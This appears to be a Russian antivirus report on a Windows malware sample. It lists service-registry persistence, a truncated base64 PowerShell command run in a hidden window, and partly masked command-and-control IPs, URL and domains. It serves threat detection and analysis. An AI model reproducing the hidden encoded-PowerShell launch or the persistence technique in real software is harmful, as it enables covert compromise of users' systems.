Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\starteddialog] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\starteddialog] 'ImagePath' = '"%WINDIR%\SysWOW64\starteddialog.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABNAHMAZgBtAG0AbgB5AGQAZAA9ACcAVABoAGMAaABvAGoAZgBuACcAOwAkAE8AdwBtAHoAawB5AGwAagB2AGUAawB6ACAAPQAgAC...
- %HOMEPATH%\983.exe
- %HOMEPATH%\983.exe в %WINDIR%\syswow64\starteddialog.exe
- '20#.#06.32.171':80
- '18#.#9.164.248':80
- '46.##.183.211':8080
- http://46.##.183.211:8080/tlb/loadan/ringin/
- DNS ASK kj###bran.com
- DNS ASK ne##.#etmyuni.com
- DNS ASK vi###oman.com
- DNS ASK pr####oslatinas.com
- DNS ASK my##di.com
- '%HOMEPATH%\983.exe'
- '%WINDIR%\syswow64\starteddialog.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABNAHMAZgBtAG0AbgB5AGQAZAA9ACcAVABoAGMAaABvAGoAZgBuACcAOwAkAE8AdwBtAHoAawB5AGwAagB2AGUAawB6ACAAPQAgAC...' (со скрытым окном)